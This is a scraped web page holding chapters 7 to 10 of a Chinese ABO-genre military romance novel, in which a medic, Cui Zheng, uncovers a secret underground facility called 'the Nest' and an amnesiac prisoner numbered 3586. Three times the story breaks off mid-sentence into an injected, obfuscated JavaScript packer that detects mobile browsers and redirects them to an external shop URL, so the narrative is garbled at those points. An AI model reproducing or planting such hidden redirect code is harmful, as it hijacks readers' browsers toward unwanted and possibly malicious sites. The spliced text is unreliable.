《联盟公用抑制剂》 7. 主人 罗威发现,这段时日自家少将军有些不太正常。 每日一早都亲自去叫崔医生起床吃早餐,可到了食堂,又不跟崔医生坐在一桌,美其名曰“保持距离”。罗威似懂非懂,少将军毕竟是长官,跟下属保持距离以树立威信,确实很有必要。 可是这样的话,一开始就别去叫崔医生起床不就好了? 少将军往他脑袋上呼了一拳,鄙夷道:“我要是不去叫他,他岂不是白费心思了?脱成那样,不就是……” 少将军没往下说,只闷头往嘴里塞牛肉饼,吃得太急,脸都涨红了。 还有训练,罗威发现从前最爱在集体训练的时候找人对战的少将军,居然罕见地偷懒了。哦不,或许也不能算偷懒,只是把对战练习留在了下训后。 少将军的新对手,是他偷偷给批了训练场使用权限的崔医生。战斗经验丰富的少将军和一个低等医兵对战,罗威起初颇不赞同,但少将军说这么做是要让崔医生“知难而退”。 崔医生的战斗方式一看就是在军校里学的,基本功扎实,技巧娴熟,但少将军的战斗风格可是在实战中拼杀出来的,凶狠刁钻,招招致命。 罗威本以为崔医生坚持不了多久,可没想到,崔医生的水平在对战中突飞猛进,胜率不断攀升,甚至隐隐有跟少将军平分秋色的意思。 果然S级Alpha都是怪物。罗威心底有点酸酸的,但很快就释然了。少将军极少遇到这样势均力敌的对手,这些时日,少将军肉眼可见的开心起来。 不过少将军说的“知难而退”到底是什么意思?是指每次打完,崔医生要退出训练场的时候,少将军都要把脑袋贴到崔医生的后颈使劲嗅嗅,然后命令崔医生给他做信息素疏导吗? 说实话,罗威觉得少将军有那么一点点的职权霸凌。他委婉地提醒少将军:“少将军,找崔医生看诊都是要排队的。” 少将军刚运动完,夏夜雷雨般的信息素味道耀武扬威地逸散着,闻言轻哼一声:“你懂什么,他这么卖力陪我打,总要给他点奖励。” 罗威没听懂,只好又委婉地提醒崔医生:“崔医生,你不能这么惯着少将军。” 崔医生脱掉闷热的翼甲,又脱掉汗湿的紧身背心,似是想起什么,又拽过一旁的白色长外套穿上。然后淡定回道:“本领长进的小动物主动凑过来讨赏的时候,不顺毛摸容易炸毛。” 罗威还是没听懂,他只看到自家少将军甩着高高束起的红色长发,张牙舞爪地冲了过来。 “崔狰!你穿的什么!” 日常款的医兵外套就像挺括修身版的白大褂。简而言之,就是没有扣子。崔狰脱了其他衣服,只披一件外套在身上,遮住两侧的胸肌和腹肌,只露出中间一道阴影分明的深邃沟壑。 “长官不是不许我在训练场露上身吗?”崔狰不解,“我穿了外套。” “露一半也不行!”陆霆雨咬牙切齿,“有违风纪!” 职权霸凌,职权霸凌啊!罗威心如刀绞,明明他们平常训练的时候许多人都赤着上身,少将军从来不说,如今对崔医生却这么严苛。他罗威今日必须站出来主持公道! “少将军,我觉得……” “长官说得对。”崔狰从善如流,“只是我没带干净的衣服,不如长官先借我一件?” 陆霆雨面上的怒气一滞,半晌,小声嘟哝:“诡计多端。”他将自己干净的衬衣丢给崔狰,然后又丢给他一小瓶东西。 罗威在一旁看得分明,那是用于增强Alpha体质的高级营养剂,价格昂贵,产量极低,军备处一年也只有几十瓶,只分给几个将军和有特殊贡献的战士。 崔狰挑了挑眉,没说什么,拧开瓶盖几口灌了下去。放下瓶子,眼前却又出现了一颗剥开的草莓硬糖。 “这玩意有点难喝。”陆霆雨扭过脸没看他,也不知道是在解释给谁听。 罗威关于职权霸凌的劝诫卡在了喉咙口。他突然觉得,给崔医生的锦旗上的字应该改一改。 或许,“联盟特级驯兽师”就挺合适。 崔狰全然不知他在罗威心中的形象已经彻底颠覆,他白日里坐诊和训练,晚上,却还有更重要的事要做。 崔狰打开手上的身份环,将身份切换到【陆霆雨】,熟门熟路找到一个机密文件夹。他进入文件夹,里面是特级作战部的建筑图纸。 这段时间,崔狰已经将特战部各个区域摸了个遍,很显然,他的权限所能探查到的区域,和陆霆雨的这张图纸并非完全重合。也就是说,特战部内部存在只有高级权限才能进入的机密区域。 崔狰穿上一件黑色连帽衫,换上运动裤和跑鞋,做出一副夜跑的打扮。又将一把轻巧的黑钢小刀藏入口袋,重新将图纸仔细看了一遍。准备就绪,正待出门,却感觉身份环轻微震动一下。 这是陆霆雨的账号中有新文件存入的提示。 崔狰顿住脚步,打开身份环,找到一个被隐藏的文件夹。一个窗口跳了出来,示意他输入密码。 如今已经鲜少有人会使用这样复古的数字密码,崔狰第一次发现这个隐藏文件夹的时候,试遍所有高级密码破解手段,才终于想到用最古老的数字密码。 只是最后打开这个文件夹的数字,并不是跟陆霆雨本人有关的数字,而是他的哥哥陆谊言受封为特级作战部督帅的日期。 一个崇拜哥哥的弟弟,把哥哥获得的荣耀当作最值得纪念的事情。果然是小孩子才会干的事。 崔狰在试出密码的那一刻就知道,这个文件夹里并不会有什么机密。果不其然,里面只是一个普通的相册,大多数是关于陆谊言的照片,有星网上下载的,视频中截图的,还有寥寥几张两兄弟的合照。陆霆雨会给每张照片添加描述,比如“军校优秀毕业生陆谊言”、“恭喜陆议员竞选成功!”、“第一次和哥哥一起清扫边境战场”等等。 而就在刚刚,这个隐藏文件夹中多了一张照片。 崔狰点开照片的手指顿了一下,深紫色的眼眸中划过一丝疑惑。 照片中的人侧着头看不清脸,但显然身材极好,上身只随意套了一件敞开的白色医兵制服,露出半拉胸肌和腹肌。照片拍得模糊,却能明显看出这人结实的肌肉刚刚经历过剧烈运动,正充血发硬,上面一层朦胧薄汗,像镜头自带柔光滤镜,禁欲中透出几分难以言说的诱惑。 这是他自己。下午刚和陆霆雨对战完的他自己。 这张照片也被添加了描述,写的是:诡计多端的医兵!不会以为我吃他这套吧?哈哈! 诡计多端?是指对战之时的战术偷袭吗?崔狰反省了下,自己一开始只打算拿军校教的那套和陆霆雨对战,可是陆霆雨的战斗天赋确实惊人,他总是不自觉就越打越投入,把学院派那一套抛到脑后了。 没想到这位看上去打得很开心的少将军私底下这么记仇,还特地偷拍他记录下来。崔狰摇了摇头,真不知道陆谊言那样恶毒的老狐狸怎么有个这么幼稚的弟弟。 深夜的特战部比白天安静许多,一个戴着兜帽的黑色身影悄无声息地穿行于黑暗。 崔狰来到一片废弃的训练场,停住脚步。特战部有许多处训练场,有些训练场因为功能老旧,逐渐被淘汰,这里就是其中之一。崔狰深紫色的眼瞳在幽暗的月光下泛起莹润的光泽,他的夜视能力很好,即便在黑暗中也能看清周围的环境。这里到处堆满了废弃的翼甲、载具、武器坏件等物,崔狰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875693|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在黑暗中仔细寻找许久,终于在一辆装甲车上发现异常。 装甲车外表锈蚀,前轮干瘪,歪歪扭扭卡在训练场的一处墙角。崔狰修长的手指缓缓抚摸过它缺失了灯罩的尾灯,在一枚鸡蛋大小的灯泡上停住。 这枚灯泡和其他几枚并排的灯泡看上去别无二致,区别只在于,它的上面没有一丝灰尘。 崔狰伸手拧动这枚灯泡。 “嗡——” 机械运转的声音。装甲车的尾仓缓缓抬起,露出下方黑洞洞的豁口。 找到了。崔狰双眸微眯,动作利落地翻身进入。 双脚踩到厚实的铁皮,崔狰感到脚下轻微晃动,随即匀速往下垂降。 若非陆霆雨的图纸,谁能想到废弃的训练场下方别有乾坤。而通向地下的感应式升降梯,竟隐藏在一辆残破的装甲车内。 升降梯下行了足有五分钟,这才稳稳停住。感应灯亮起,崔狰迅速环视四周,并没有发现看守的士兵。 他的面前只有一扇厚重的大门。 门上装的是信息素锁,崔狰抬起手,浓郁的抑制剂味道环绕锁身,探入感应锁头。 “咔哒。” 极轻的一声响动,锁开了。 对崔狰来说,信息素锁就是个摆设。信息素锁能通过识别信息素来开锁,遇到不匹配的信息素强行开锁,则会发出警报。可信息素锁不会将无处不在的抑制剂味道录入为一种信息素,自然也无法对抑制剂的味道发出警报,只要他灌入足够的信息素,锁就会失效。 崔狰将黑钢小刀握在手中,伸手推开了用特殊材料中制成的厚重大门。 随着一阵令人牙酸的门轴转动声,深重的黑暗如潮水向他袭来,同时袭来的,还有一只苍白的手! “砰!” 骨头相撞的声音。 崔狰抬手挡下来自黑暗的攻击,手臂被震得发麻。刚才他的反应速度已经足够快,可仍旧没能躲过这一击,只差一点,那一拳就会砸穿他的胸口。 手臂上有一道血痕,应该是被偷袭者的指甲划破的,崔狰没有犹豫,换了只手握住黑钢小刀就向黑暗刺去。可那偷袭者似乎并不想跟他缠斗,崔狰只见一道快如闪电的身影从门缝中猛蹿而出,直直朝着升降梯奔去。 想跑?崔狰面上一片冰冷,S级Alpha的强大威势有如实质,信息素伴随着淡淡的血腥味充斥这方地下空间。 不知是不是被震慑到,偷袭者的背影突然一滞,崔狰疾冲上前,大掌用力掰过他的肩膀,将人狠狠摔在地上。 “呃!” 偷袭者瞪大了眼睛,喉咙里发出沉闷的痛呼。 崔狰一脚踩上他的心口,举起黑钢小刀,却在看清他的发色和瞳色时,双眸猛然一缩! 黑发黑瞳。 竟然是黑发黑瞳! 巨大的震惊淹没了崔狰,甚至一时忘记了动作。 怎么可能……如今的联盟,怎么会存在黑发黑瞳之人? “……3586!3586!” 崔狰没有时间探问,厚重的大门内隐隐传来焦急的呼喊声,想必是看守的人寻来了。 崔狰眉头紧锁,丢下人就要往升降梯而去,小腿却突然被抱住。 方才的缠斗似乎引发了偷袭者的暗伤,他面色痛苦,双瞳开始涣散。然而最诡异的是,那一双纯黑的眼瞳竟缓缓褪去了颜色,凌乱的黑色短发也逐渐开始泛白。 “呃、嗬……”偷袭者抱着他的力气越来越小,喉结上下滚动,像是许久没说过话的人努力发出声音。 终于,在他的发色和瞳色彻底褪成白色之前,两个模糊的音节清晰传进崔狰的耳朵里。 “主……人……” 8. 3586 空置的升降梯突然缓缓晃动着上升。崔狰面色一沉,上面有人要下来! “3586!你跑哪去了?”身后的大门内,呼喊声越来越近。 崔狰将人一脚踢开,闪身躲入门后的阴影中。 “咦?门怎么开着?”门内走出一个穿着隔离服的人,他手上抱着一盆植物,四下环视一圈,视线落在地上躺着的身影。 “3586!”那人大惊,匆匆跑过去,放下植物,确认地上之人的情况。 灯光照到了他的脸上,崔狰双眸微缩,竟然是个熟人。 升降梯从地面缓缓降下,一道修长挺拔的身影走下升降梯。 “少将军!您怎么来了?”穿着隔离服的人急忙起身行礼。 陆霆雨看向地上失去意识的人影,眉头皱了皱,“季舒,怎么回事?” 季舒有些抱歉道:“是我的疏忽,3586晚饭后就不见了,我找遍了地巢都没发现,谁知他竟跑出来了。” 陆霆雨狐疑,“他一个枭奴,能破开信息素锁?” 季舒忐忑地低下头,“或许、或许是我没有锁好……不过您放心,他受了伤,虚弱得很,跑到这里就晕倒了。” “是吗?”陆霆雨瞥他一眼,视线盯向门锁,“这里为什么有抑制剂的味道?” 军靴踏在地面的声音缓步靠近,门后阴影中,崔狰握紧了手中的黑钢小刀。 等脚步声来到门锁边,他只要一伸手就能划破来者的喉咙,这么近的距离,即便是陆霆雨也来不及躲避。 距离越来越近,还剩三步,两步,…… “我刚刚给盆栽喷了抑制剂,少将军您看。”轻快的脚步靠近,季舒捧着一盆绿意盎然的薄荷草,举到陆霆雨面前。 “您知道的,抑制剂喷洒在植物上能够残留得比较久。地巢里单调,比起服用抑制剂,我更喜欢用这种方式。” 陆霆雨脚步顿住,看了眼薄荷草,又看了眼季舒,警告道:“看好地巢,别再有下次。” 季舒连忙点头。 陆霆雨将手里提着的药箱递给季舒,“这些药给枭奴治伤。” 季舒接过药,感激道:“多亏了少将军送的药,大部分枭奴都恢复得差不多了,只有3586伤得比较重,一直不见好。” “他们是为特战部受的伤,我自然会负责。”陆霆雨说着,面上多了一丝疑惑,“不过3586一个Alpha,就算是平民,自愈能力也不该这么差。” “他的信息素太弱了。”季舒叹了口气,“若是可以做长期的信息素疏导,或许可以提升一些……” “信息素疏导……”陆霆雨似是想到什么,随即又摇摇头,“算了,继续药物治疗吧,劳烦你多费心。” 季舒应下,目送陆霆雨踏上升降梯,离开地巢。他缓缓舒了口气,正要转身,却忽觉自己脖颈一凉。 “季舒。”男人的声音低沉冰冷,“你为什么会在这?” 季舒紧绷的肩膀放松下来,没有在意脖颈上抵着的小刀,反倒露出一个开心的笑容。 “崔狰阁下,许久未见,您还好吗?” 崔狰不答,手中刀刃往前送了几寸。 “抱歉,我只太开心了,能再次见到您。”季舒微微侧头,认真道,“您深夜出现在这里,想必有您的理由,只要能帮到您,我愿意说出我所知道的关于地巢的一切。” “地巢?” 季舒点点头,“这里是地巢,您应该知道,像我这样的Omega药剂员是来自边境战场的流民,那么您可曾想过,流民中其余的Alpha和Beta去了哪?” 这个问题崔狰不仅想过,还问过陆霆雨。当时陆霆雨回答他,“当好你的医兵,少管别的事。” 难道…… “我带您亲自看一看,您就明白了。”季舒说着,指了指地上昏迷的人影,“只不过我们得带上3586,可不能把伤员丢在这里。” 崔狰皱眉看去,“3586?他到底是什么人?” 冰凉的地面上,被称为3586的偷袭者失去了意识,他的头发已经变成浅到几乎透明的白色。 “他是个普通的平民Alpha。”季舒道:“在战场上受了重伤,怪可怜的。” 普通?崔狰神色暗了暗,问季舒:“他的发色和瞳色是什么颜色?” 季舒不明白他为什么问这样显而易见的问题,但还是老实回答:“白的。” “一直都是白的?”崔狰又问。 “当然。”季舒不明所以,“所有平民的发色和瞳色都是灰或者白,有什么不对吗?” 崔狰没再追问,单手拎起昏迷的3586,对季舒道:“走吧。” 季舒似乎觉得让他搬运伤患有些不妥,对上崔狰催促的目光又把话咽了下去,听话地在前面带路。 门内是一条深邃曲折的走廊,崔狰跟在季舒身后,随着脚步经过,一盏盏惨白的廊灯随之亮起,照出走廊两侧的情形。 那是一排密密麻麻的金属房间。 一间挨着一间,一眼望不到尽头,少说也有几千间。房间靠近走廊的一侧是透明的玻璃,能够看到每一间里面都住着一个人,此时全部都陷入了沉睡。看发色都是平民,其中大多是Beta,也有少数Alpha。 “玻璃是单向且隔音的,阁下不用担心吵醒他们。”季舒领着崔狰来到一间写着数字“3586”的隔间前,“到了,把他放到这里吧。” 崔狰看着季舒打开隔间门上的信息素锁,跟着他进入房间。 房间四四方方,不足十平米,除了角落里的一张单人床,和少量生活用品之外,没有任何东西。 崔狰把人放到床上,季舒打开药箱,找到一支恢复剂,给昏迷的3586注射进去。 “这里是地巢。”季舒说,“生活在这里的人,被叫做枭奴,都是从战场上被救下的流民。其中Omega学会一定的药理知识之后,可以申请进入医务处,当一名药剂员,而Alpha和Beta则只能留在地巢。” “特战部把人救下,却又关进监狱?”崔狰皱眉,“为什么?” 季舒愣了一下,摇了摇头,“不是监狱,我们是自愿进入地巢生活的。” “自愿?”崔狰看了眼床上昏迷不醒的3586,这才刚抓了个逃犯回来。 “他……”季舒有些尴尬,但还是解释道,“3586在战场上受过很严重的伤,似乎失去了记忆,精神状态非常不稳定,连话都不会说……” 季舒有些同情地看了他一眼,“若是放任他跑出去,怕是根本活不下去。少将军想治好他,可换了许多药,都不见什么效果。” 不会说话?想起那声“主人”,崔狰眸中划过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875694|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹思索。 “那你呢?”他问季舒。 季舒若真的自愿,又为什么会不惜接受那种出卖身体的契约,也要到地面上去当一个药剂员。 季舒沉默半晌,轻叹了口气,“是自愿,也是没有办法。我们在边境战场接触过黯蚀体,身上都有概率携带病毒,外面的世界容不下我们这样的人。” 信息素强大的特战部士兵们对病毒有抗性,即便染上也不一定会致命,可是对于信息素弱小的平民来说,这无异于死神的标记。 崔狰唇角勾起一个没有温度的笑,“这么说来,特战部是在做慈善,花钱白养着你们这些不被外界接受的流民。” 季舒眼底有几分苦涩,“枭奴有枭奴的使命,Omega的使命就是充当药剂员,而Alpha和Beta……是饵。” “平民Alpha的信息素很弱,Beta更是连信息素都没有,论作战拼杀,他们一无是处。但好在,他们还可以用来探路。” 边境战场危险环伺,多得是未知之地,黯蚀体躲在暗处布下陷阱,从前只能靠士兵们肉身去探才能趟出路来。而现在,有了枭奴。 “陆谊言倒真会想办法。”崔狰眼神微沉,“陆霆雨少将军的荣耀就是这么来的?” “不是的!”季舒急忙摇头,“陆督帅是好人,是他给了我们一条活路。少将军也是好人,他带兵以来从没使用过枭奴,宁愿自己去冒险。别的将军带枭奴去出任务,少将军也总是会关心枭奴的伤势,悄悄给他们送药。上回他就是因为坚持不肯用枭奴,才受了那么重的伤,听说还被陆督帅训斥了。” 提到陆霆雨的伤,季舒神情黯淡几分。 “我曾拼命学习药理知识,签订了药剂员契约,终于去了地面。可是当特战部需要我的时候,我却退缩了。本来我该被赶出特战部的,可是少将军宽容,将我留了下来,让我参与地巢的日常管理。” “还好那天有您。”季舒抬起头,眸子又亮了几分,“谢谢您,崔狰阁下。是您救了少将军,也救了我。” 他向崔狰深深鞠了一躬。 “我欠您一句感谢,还以为没机会再说了。”他认真道,“您不知道,刚才在门口闻到您的信息素时,我有多开心。” 这就是季舒没有在陆霆雨面前揭穿他的原因吗?季舒早就闻到了门锁上的信息素,知道他就躲在门背后,却为了感激他,替他在陆霆雨面前遮掩。 “那不过是抑制剂的味道,你怎么知道是我?”崔狰问。 季舒面上泛起淡淡粉色,他捧起薄荷草花盆,递给崔狰,“您还记得这个吗?” 薄荷草叶上,隐约有他的信息素残留。崔狰记起来了,是他为了感谢季舒借他饭卡,释放了些信息素在植物上,当作无副作用版的空气清新剂送给季舒。不过他记得这盆已经被罗威一脚踩碎了,没想到季舒竟把它救了回来。 “我了解您的信息素味道,普通的抑制剂味道和您如何能比?”季舒说完似乎察觉不对,连忙又欲盖弥彰补充道,“当然,这并不是我天天闻这盆薄荷草才得出的结论,我只是、只是嗅觉比较灵敏……” 他兀自解释着,没发现崔狰的视线并没有停留在他的身上。 崔狰转头盯着墙角那张洁白的单人床,一双浅到几乎透明的眼睛此时正安静注视着他。 3586醒了。 9.我在意 特战部士兵们最常去的地方:食堂,宿舍,训练场。 当然,近期又添了一处:医务楼。再精确一些,是医务楼23号诊室。 虽然崔医生的预约号已经排到了一个月后,但不妨碍一些精力旺盛的Alpha吃饱了撑的就爱去门口晃悠几圈,趁着诊室门开的间隙,伸头进去猛吸一口,然后熟练地用脸接住崔医生砸过来的水果糖,在周围排队的士兵们一声声“死变态”的笑骂声中,得意洋洋潇洒离去。 不过据说这种风气被少将军发现之后,涉事Alpha们都被迫增加了一周的魔鬼训练,崔医生桌上那盘水果糖也神秘失踪,换成了一堆棱角尖锐的硬石头。 言归正传,特战部士兵们最不常去的地方之一:会议厅礼堂。 特战部的将军们最不爱干的事就是开会,士兵们自然也乐见其成,装修豪华的会议礼堂被使用的次数屈指可数。 今天例外。 会议礼堂里装满了闹哄哄的Alpha,喷雾式信息素净化器不要钱似的沿墙摆了一排,正孜孜不倦地喷吐着低浓度抑制剂。与这些小东西们相比,更吸引人注意的,却是美食与美酒的香气。 礼堂的长桌上摆满了食物,正中间悬着一条红艳艳的横幅,上面写着几个金灿灿的大字: 【特级作战部老兵退伍欢送会】 “冯将军,我舍不得您。”罗威狗熊似的身躯微微颤抖着,宽厚的双掌牢牢捂着脸,泪水却还是从指缝间唰唰往外流。 “哭什么丧,我是退伍,又不是死了!”冯宪明伸出拳头狠狠锤了一下他的脑袋,“再说了,你现在是陆小子的人,少跟我装亲热!” “您不介意的话,我可以把他还给您。”陆霆雨在一旁端着酒杯凉凉道。 冯宪明嫌弃地看他一眼,“脑子里只有肌肉和泪腺的家伙,我才不要。” 罗威委屈地左看看,右看看,最后把求助的视线投向一旁的崔狰。 崔狰冲冯宪明举了举酒杯,“恭贺冯将军功成身退。” 冯宪明哼了一声,“什么功成身退,我才四十,放在别的部队还能再战二十年!” 他嘴里这么说,手里的酒杯还是冲崔狰扬了扬,一饮而尽。 “特战部的狗屁规矩,说什么作战压力比寻常部队更大,为了我们的身体着想才提早了退伍年限。”他不满道,“等我去了赛德亚,一定要向议长阁下提出异议,让他改了这道法令。” 陆霆雨瞥了一眼崔狰,见他神色如常,才继续问道:“您在中心城的岗位已经定了?” 提到这个,冯宪明面上露出几分得色,“督帅阁下说以我的功勋,能直接进入联盟议会理事部,替议长阁下做事。” 罗威擦了擦眼泪,替他高兴,“不愧是冯将军,您以后想必能经常见到议长阁下和督帅阁下了。” 他似是想到什么,又道:“冯将军您有空和议长阁下说说,崔医生在咱们特战部只当个低等医兵实在可惜,好歹是父亲,就算不关照,也不能挡儿子的路……哎呦!” 罗威嚎了一声,不解道:“冯将军,你踢我干什么?” 冯宪明狠狠瞪了罗威一眼。 陆霆雨喝光了杯里的酒,重重拍在桌上,低声道:“滚一边去。” 罗威一抖,委屈地耷拉着脑袋走了。 崔狰笑了笑,“罗副将性情率直,冯将军不必把他的话放在心上。” 冯宪明看着他,低叹了一声,“崔狰,我必须承认,没见到你之前,我对你的印象不怎么样。” 私生子。肮脏的劣兽。贵族的耻辱。崔狰这个名字,提起就代表着不堪。 “但是你进入特战部以来,所做的一切,大家有目共睹。” 23号诊室日日都人满为患,崔狰从来没有拒绝过任何一个士兵的请求。用自己的信息素持续不断地替人做信息素疏导,需要付出的体力和精力难以想象,他也从来不曾抱怨过。 “我在战场上受的陈年暗伤,是你一次次的耐心疏导,才有了痊愈的迹象。崔狰……”冯宪明换了个称呼,“崔医生,我为曾经相信那些污名而感到羞愧。” 崔狰有些怔愣,神色郑重几分,“与冯将军在边境战场上的贡献相比,这些不值一提。” 冯宪明拍了拍他的肩膀,“我会找机会跟议长阁下谈谈你的,或许他该来看看,他的儿子是个多优秀的好孩子。” 冯宪明被手下的士兵们簇拥着叫走了,崔狰端起酒杯,缓缓吞下深红的酒液。 若是十年前有人对他说,会帮他在父亲面前讨要夸奖,他或许真的会心动。可惜,他已经不是16岁的崔狰了。 后颈处突然贴上一片温热,是陆霆雨伸手捂住了他的腺体。崔狰微微偏头,对上一双浅棕色的杏眼。陆霆雨与他贴得极近,声音很低:“我们崔医生好像喝多了,信息素溢出来了。” 像是劣质香水中混入的一股鲜花清甜,周围的Alpha们不自觉地循着这股纯净的气息凑拢过来。 陆霆雨的手掌顺着他的脖颈下滑,抚过手臂,最后牵住他的手。 “我带崔医生去清理干净。” * 特战部士兵们最不常去的地方之二:树林。 树林没有名字,士兵们也懒得给它起名字。若放在贵族学校,树林是学生们的约会圣地,可这里是特战部,一身腱子肉的Alpha们对于没有娇软可口的Omega的树林提不起一丝兴趣。 今天例外。 崔狰被人抵在一棵粗壮的花树上,周身都被夏夜雷雨般的清冽焦苦味道包围,在他颈边,埋着一颗毛茸茸的火红色脑袋,正一拱一拱地拿鼻子在他腺体上吸嗅着。 “少将军,我没喝醉,可以控制自己的信息素。”崔狰第三次重复这句话。 陆霆雨不信,“好像还在漏,我再闻闻。” 崔狰耐心告罄,“陆霆雨,你再不停下,我会忍不住。”忍不住揍你。 陆霆雨一僵,缓缓将脑袋从他颈边拔出来。 “你、你别乱来,这是外面……” 到底谁在乱来?崔狰无语。 “我知道,你对我……”陆霆雨揉了揉鼻子,感觉脑袋被抑制剂的味道熏得有些晕,藏了许久的话不自觉就说了出来,“我其实认真考虑过了,虽然两个Alpha……但现在联盟风气开放,其实也不算太大的事……” 在说什么胡话?崔狰狐疑地伸手贴了贴他的脸颊,烫的。再看看耳根,红的。 很好,喝醉的到底是谁,这下明白了。 陆霆雨一把抓住他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878366|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,摁到树干上,严肃道:“你别动手动脚,我们还不是那种关系。” 崔狰头疼,这个醉鬼到底在说什么。 花树上落下几片紫色花瓣,随着深秋冷风钻入崔狰的领子。 “我们回去吧。”崔狰轻轻拍了拍陆霆雨紧紧压在自己身上的腰身,语气带了几分哄劝,“喝酒吹风会感冒的,长官。” 陆霆雨不动,良久,突然道:“议长阁下,对你不好。” 崔狰想将他推开的手一顿。 “他要是对你好,就不会放任那种流言散播。”陆霆雨低声道,“不过没关系,你进了特战部,就是我的人,我会罩着你。以后我不会再让你听到那些混账话。” 崔狰垂眸看他,红发被风吹乱了,浅棕色的眼睛里却满是认真。 “没关系。”崔狰说,“我不在意。” 陆霆雨伸手取下他领口的一片紫色花瓣,举到那双深紫色的眼瞳边上比了比。 “没有你的好看。”他说,“崔狰,你的眼睛真好看。” 醉鬼。崔狰低叹一声,“我们……” “我在意。”闷闷的声音。带点懊恼,带点委屈。 他在委屈什么呢?是在替他委屈吗? “我在意。”陆霆雨又说了一遍,“崔狰,以后我罩着你。” 树林寂静。林风簌簌,紫色花瓣扑落满身,温柔拥抱崔狰。 小孩子说要罩着你,就真的会罩着你。 崔狰唇角露出一丝笑意,伸手揉了揉火红的发顶。 “好。” * 3586奔袭在夜色中。 特级作战部区域很大,他不知道那个人在哪里。不过他听季舒说过,那个人是个医兵。医兵所在的地方,会有抑制剂的味道,消毒水的味道,血的味道。 3586盯着面前的白色小楼,就是这里。 “咦,哪来的白毛平民?”两名Alpha士兵从医务处迎面走来,其中一人讶异地看向3586。 “哪呢?”同伴抬起头,四下张望一圈。 “不就在……”士兵指向前方的手一顿,“人呢?” “黑灯瞎火的,你看花眼了吧?” “明明就在这。”士兵奇道,“难道跑了?” “即便是少将军那样的S级Alpha,也不可能拥有这种速度,在你我眼皮子底下消失。”同伴玩笑着道,“难不成是会瞬移的黯蚀体跑到特战部来了?” “怎么可能。”士兵挠了挠头,“可能真是我看花眼了。” 同伴拍了拍他,“你最近训练强度太大,信息素有些乱吧,趁早预约23号诊室,找崔医生做疏导。” 两人结伴而去,没发现一道白色身影从树影中轻巧跃出,悄无声息地进入医务楼。 23号诊室的门被打开,又合上。屋里没人,3586嗅了嗅空气中残留的味道。 是那个人。 3586有点开心,在屋里四处转了几圈,他有点渴,又有点饿,想用崔狰的杯子喝水,又忍住了。看了眼床上柔软的被子,没有碰。最后钻进床底下,蜷缩着睡着了。 等那个人回来,一切都会好的。彻底陷入梦乡前,3586迷迷糊糊想。 主人不会不管他的。 10.26岁了还是个处A 崔狰回到23号诊室时,天色已经彻底暗了。他锁了诊室的门,进入里间的宿舍。 身份环上,【陆霆雨】的账号跳出一条新的文件存入提示。是那个加了密码的相册。 崔狰的手指在相册上悬了一会儿,这才点进去。不知为何,他有种预感,自己会看到什么。 那是一张崔狰靠在一棵紫色花树上的照片。银发紫瞳的青年身穿白银配色的军式制服,脚踩黑色裹腿军靴,唇角带着一丝不易察觉的笑意,正伸手拂去身上的紫色花瓣。 果然。陆霆雨这是把他收作小弟了?想到那句中二满满的“我罩着你”,崔狰又觉好笑。明明比他小了六七岁,却总是一副老大的姿态,或许比起军营,这小子更适合去混帮派。 照片描述想必会写“我罩着的小弟”之类的吧。 崔狰随意瞥了一眼,勾起的嘴角却突然僵住。 照片描述:暗恋的人。 崔狰:…… 几秒后,文字变了。 照片描述:暗恋我的人。 崔狰:? 几秒后,文字又变了。 照片描述:我的人。 这次改完许久都没有再变。崔狰犹疑不定,陆霆雨这是什么意思?我罩着的人,简称我的人? 没错,这很合理。 前面……应该是打错了吧? 另一边,陆霆雨躺在床上,盯着“我的人”三个字看了许久,然后一把摘掉身份环塞到枕头底下。 许久,揉了揉发烫的脸颊,又摸出身份环戴上,在通讯名单中找到一个名字,发送了一条讯息。 [陆霆雨:哥,睡了吗?也没什么事,就是想问问……你对未来弟媳的性别有要求吗?] …… 崔狰并不知道陆霆雨随手发送的一条讯息,会在不久的将来给他带来多大的麻烦。眼下,他正面临着另一个不小的麻烦。 “主人!” 迎着黑钢小刀的锋锐冷芒,一张脏兮兮的脸上浮现出灿烂的笑容。 崔狰粗暴地将人从床底下拽出来,刀锋抵着他的脖颈,暗自心惊。屋里有人,他竟然没有第一时间发现,哪怕现在,他也没有闻到丝毫属于外来者的信息素。 “你是3586?”崔狰微微蹙眉,“你逃出地巢了?” 3586高兴地点点头,又叫了一声:“主人!” 主人?崔狰盯着这个白发白瞳的枭奴,试探着问:“为什么叫我主人?” 那天在地巢,他也这样叫过。就是在那个时候,崔狰亲眼看到他的瞳色和发色从黑色变成了白色。 “你到底是谁?” 3586面露茫然,他似乎在努力回忆,可越是回忆,他的神色越是痛苦。 “主人……”他求助地看向崔狰,低声呼唤。 